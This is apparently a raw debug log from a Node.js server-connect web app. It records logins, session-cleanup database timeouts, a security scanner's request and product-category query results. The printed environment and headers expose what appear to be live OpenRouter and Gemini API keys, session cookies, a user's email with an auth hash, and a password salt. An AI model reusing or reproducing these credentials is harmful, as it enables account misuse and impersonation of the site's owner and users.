    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '198.235.24.155',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-26T22:34:04.664Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '198.235.24.155',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '198.235.24.155',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-26 01:10:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-26 01:10:18' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-26 05:17:19' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-26 05:17:19' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-26 08:58:19' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-26 08:58:19' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-26 10:56:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-26 10:56:20' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-26 13:11:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-26 13:11:20' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-26 14:53:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-26 14:53:21' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-26 15:39:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-26 15:39:21' as DATETIME)"
}
2026-02-26T18:30:14.542Z server-connect:router Serving templateView /
2026-02-26T18:30:14.544Z server-connect:app Executing action step identify
2026-02-26T18:30:14.544Z server-connect:app options: { provider: 'security' }
2026-02-26T18:30:14.544Z server-connect:auth No login cookie found
2026-02-26T18:30:14.544Z server-connect:output identity: false
2026-02-26T18:30:14.544Z server-connect:app Executing action step restrict
2026-02-26T18:30:14.544Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-26T18:30:14.545Z server-connect:output restrict: undefined
2026-02-26T18:30:14.752Z server-connect:router Serving templateView /login
2026-02-26T18:30:14.753Z server-connect:app Executing action step identify
2026-02-26T18:30:14.753Z server-connect:app options: { provider: 'security' }
2026-02-26T18:30:14.753Z server-connect:auth No login cookie found
2026-02-26T18:30:14.753Z server-connect:output identity: false
2026-02-26T18:30:14.753Z server-connect:router Render template layouts/authentication
2026-02-26T18:30:14.753Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    'x-forwarded-for': '49.43.180.105',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-27T18:30:14.752Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.105',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '49.43.180.105',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-26T18:30:25.472Z server-connect:router Serving serverConnect /api/access-control/login
2026-02-26T18:30:25.472Z server-connect:app Executing action step identify
2026-02-26T18:30:25.472Z server-connect:app options: { provider: 'security' }
2026-02-26T18:30:25.473Z server-connect:auth No login cookie found
2026-02-26T18:30:25.473Z server-connect:output identity: false
2026-02-26T18:30:25.473Z server-connect:app Executing action step login
2026-02-26T18:30:25.473Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2026-02-26T18:30:25.475Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-02-26T18:30:25.527Z server-connect:output identity: 1
2026-02-26T18:30:25.527Z server-connect:app Executing action step restrict
2026-02-26T18:30:25.527Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-26T18:30:25.527Z server-connect:output restrict: undefined
2026-02-26T18:30:25.731Z server-connect:router Serving templateView /
2026-02-26T18:30:25.732Z server-connect:app Executing action step identify
2026-02-26T18:30:25.732Z server-connect:app options: { provider: 'security' }
2026-02-26T18:30:25.732Z server-connect:output identity: 1
2026-02-26T18:30:25.732Z server-connect:app Executing action step restrict
2026-02-26T18:30:25.732Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-26T18:30:25.732Z server-connect:output restrict: undefined
2026-02-26T18:30:25.732Z server-connect:app Executing action step restrict
2026-02-26T18:30:25.732Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-26T18:30:25.733Z server-connect:output restrict: undefined
2026-02-26T18:30:25.733Z server-connect:router Render template layouts/main
2026-02-26T18:30:25.733Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A3BC%2ByO4uIRd9Tshi%2BOGwGw%3D%3D.qcF1oe9q8D3vqtU1rUivFuEEdp2XGc5e9QxFo0CxtRxe0Bp0co5I0WBCF07yHPJUkmmEIUlL1GTGg8yDLzQrolEHpuOJ2c%2FYsaGyhnzBXtkWyV9XeR5FbABBKl1eNs8wpTw8Eto9LdzxgznqfQodXZpJCzvpZJ%2B3U2EmoRWq0NI%3D.t1bUXnHEEY9ABZcqPF4ZHDkhn2QsWNcwHFs5CVQ021o; your_r_git.sid=s%3AC_huXHNxL6OJ7JA4fNjnNJO_9h7EdM_1.Xlb129r5vHa35CMaxdQaLhB7UKg89c9qKKlg%2F6ny6ng',
    'x-forwarded-for': '49.43.180.105',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-27T18:30:25.527Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.105',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A3BC%2ByO4uIRd9Tshi%2BOGwGw%3D%3D.qcF1oe9q8D3vqtU1rUivFuEEdp2XGc5e9QxFo0CxtRxe0Bp0co5I0WBCF07yHPJUkmmEIUlL1GTGg8yDLzQrolEHpuOJ2c%2FYsaGyhnzBXtkWyV9XeR5FbABBKl1eNs8wpTw8Eto9LdzxgznqfQodXZpJCzvpZJ%2B3U2EmoRWq0NI%3D.t1bUXnHEEY9ABZcqPF4ZHDkhn2QsWNcwHFs5CVQ021o; your_r_git.sid=s%3AC_huXHNxL6OJ7JA4fNjnNJO_9h7EdM_1.Xlb129r5vHa35CMaxdQaLhB7UKg89c9qKKlg%2F6ny6ng',
    'HTTP_X_FORWARDED-FOR': '49.43.180.105',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-26T18:30:27.105Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-26T18:30:27.106Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-26T18:30:27.107Z server-connect:app Executing action step identify
2026-02-26T18:30:27.107Z server-connect:app options: { provider: 'security' }
2026-02-26T18:30:27.107Z server-connect:output identity: 1
2026-02-26T18:30:27.107Z server-connect:app Executing action step restrict
2026-02-26T18:30:27.107Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-26T18:30:27.107Z server-connect:app Executing action step identify
2026-02-26T18:30:27.107Z server-connect:app options: { provider: 'security' }
2026-02-26T18:30:27.107Z server-connect:output identity: 1
2026-02-26T18:30:27.107Z server-connect:app Executing action step restrict
2026-02-26T18:30:27.107Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-26T18:30:27.107Z server-connect:output restrict: undefined
2026-02-26T18:30:27.107Z server-connect:app Executing action step select
2026-02-26T18:30:27.108Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-26T18:30:27.108Z server-connect:output restrict: undefined
2026-02-26T18:30:27.108Z server-connect:app Executing action step single
2026-02-26T18:30:27.108Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-26T18:30:27.112Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
